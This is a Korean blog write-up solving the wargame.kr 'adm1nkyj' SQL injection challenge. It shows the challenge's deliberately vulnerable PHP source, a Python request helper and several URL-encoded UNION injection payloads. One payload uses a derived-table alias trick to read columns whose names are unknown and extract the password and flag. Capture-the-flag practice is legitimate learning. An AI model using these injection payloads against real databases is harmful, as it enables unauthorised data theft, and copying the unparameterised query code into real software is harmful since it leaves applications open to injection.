늘모자란, 개발 :: [wargame.kr] Challenge 26 - adm1nkyj

늘모자란, 개발

SQL injection Challenge!
(injection)

- thx to adm1nkyj


역대급으로 오래 걸린 문제이다 ㅡㅡ

이 문제는 들어오자마자 대뜸 소스부터 보여준다
잘못들어온게 아닌가 다시 볼정도로 당황했다...

<?php
    error_reporting(0);
    
    include("./config.php"); // hidden column name
    include("../lib.php"); // auth_code function

    mysql_connect("localhost","adm1nkyj","adm1nkyj_pz");
    mysql_select_db("adm1nkyj");

    /**********************************************************************************************************************/

    function rand_string()
    {
        $string = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz";
        return str_shuffle($string);
    }

    function reset_flag($count_column, $flag_column)
    {
        $flag = rand_string();
        $query = mysql_fetch_array(mysql_query("SELECT $count_column, $flag_column FROM findflag_2"));
        if($query[$count_column] == 150)
        {
            if(mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
            {
                mysql_query("UPDATE findflag_2 SET $count_column=0;");
                echo "reset flag<hr>";
            }
            return $flag;
        }
        else
        {
            mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
        }
        return $query[$flag_column];
    }

    function get_pw($pw_column){
        $query = mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
        return $query[$pw_column];
    }

    /**********************************************************************************************************************/

    $tmp_flag = "";
    $tmp_pw = "";
    $id = $_GET['id'];
    $pw = $_GET['pw'];
    $flags = $_GET['flag'];
    if(isset($id))
    {
        if(preg_match("/information|schema|user/i", $id) || substr_count($id,"(") > 1) exit("no hack");
        if(preg_match("/information|schema|user/i", $pw) || substr_count($pw,"(") > 1) exit("no hack");
        $tmp_flag = reset_flag($count_column, $flag_column);
        $tmp_pw = get_pw($pw_column);
        $query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
        if($query[$id_column])
        {
            if(isset($pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
            {
                echo "good job!!<br />FLAG : <b>".auth_code("adm1nkyj")."</b><hr>";
            }
            else
            {
                echo "Hello ".$query[$id_column]."<hr>";
            }
        }
    } else {
        highlight_file(__FILE__);
    }
?>


어쨌든 쿼리를 파괴(?)해야하는데 많은 시도를 해야될 것 같기 때문에 간단한 python 코드를 작성했다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, time

headers = {'Host': 'wargame.kr:8080'}

data = "?id="
data = data + urllib.quote("")
data = data + "&pw="
data = data + urllib.quote("")

req = urllib2.Request("http://wargame.kr:8080/adm1nkyj/" + data, '', headers)
response = urllib2.urlopen(req)

res = response.read()
print len(res), res


요렇게..
len을 굳이 붙인 이유는 틀리면 아무것도 반환이 안되기 때문이다.

어쨌든 처음부터 보면, 가장 처음에 id와 pw에 값을 넣어 쿼리를 부셔볼 수 있다.

다음과 같이 쿼리를 작성한다.

?id=%27%20union%20select%201%2C&pw=%2C3%2C4%2C5%23


union을 이용해서 중간에 강제로 ' ' 를 만들어 php 변수를 출력시키는건데, 요렇게 하면
Hello  and <hr>


와 같은 꼴로 pw의 컬럼을 알 수 있게 된다.
pw를 알아내기 위해선 서브쿼리를 이용해서 다음과 같이 날려준다.

?id=%27%20union%20select%201%2C%28select%20xPw4coaa1sslfe%20from%20findflag_2%29%2C&pw=%2C4%2C5%23


자, 이제 아이디를 알아내야할 시간이다.

?id=%27%20OR%201%3D1%20union%20select%201%2C2%2C&pw=%2C4%2C5%23


이렇게 날려주면 쿼리가 '' 가 참이 되어 성립하기 때문에 id의 값을 알 수 있다.
다만, 컬럼이름은.. 알기 어려운것 같고. (이 문제에선 못알아낼듯)

아이디와 비밀번호를 모두 취득했지만, 하나의 난관이 더 남아있다. 바로 flag..
150번시도하면 리셋을 시키는통에 전사공격도 불가능하다. 어떻게 해야할까...

flag를 알아내보기위해 정말 많이 검색을 해봤는데 잘 모르겠다. 블라인드 유니온 인젝션이라고 해야할까?;
그와중에 이런걸 찾았는데 별 도움은 안되었다.

CONCAT(0x27,0x7c,0x5f,0x7c)


역시 procedure analyse()  도 안먹혔다. 도대체 뭐야 ... 하고 생각하다가
문득 이런생각을 했다

select를 할때, 동일한 알리아스를 사용하는 컬럼과, 테이블 셋이 있다면 어떻게 될까?
테이블을 select 할 수 없으니 같은 이름의 알리아스를 찾을테고, 걔를 셀렉트 하지 않을까?
그래서 다음과 같이 코드를 작성했다

select concat(x,'x')
from
(
  select 1,2,3,4 as x,5
  union 
  select * from TABLE
) as x


놀랍게도 4x 밑으로 내가 원한 컬럼들이 주욱 나열된다. 고로 이 트릭을 이용해 문제를 풀어보자.

data = "?id="
data = data + urllib.quote("' union select 1,b,3,4,5 /*")
data = data + "&pw="
data = data + urllib.quote("*/ from (select 1,2,3,4 as b,5 union select * from findflag_2) as b limit 1,1#")


이렇게 하면 flag를 얻을 수 있다. 여기까지 풀고 좋아죽을뻔했지만...
플래그는 답이 아니다. 침착하게 얻어낸 아이디, 비밀번호, 플래그를 보내주고 마무리 짓자.
정말 며칠을 고민했는지 끙끙거리며 산것 같다... 개념을 알았으니 좀 더 advanced한 Zairo에 도전해볼차례가 되었다!
2016/06/14 03:27 2016/06/14 03:27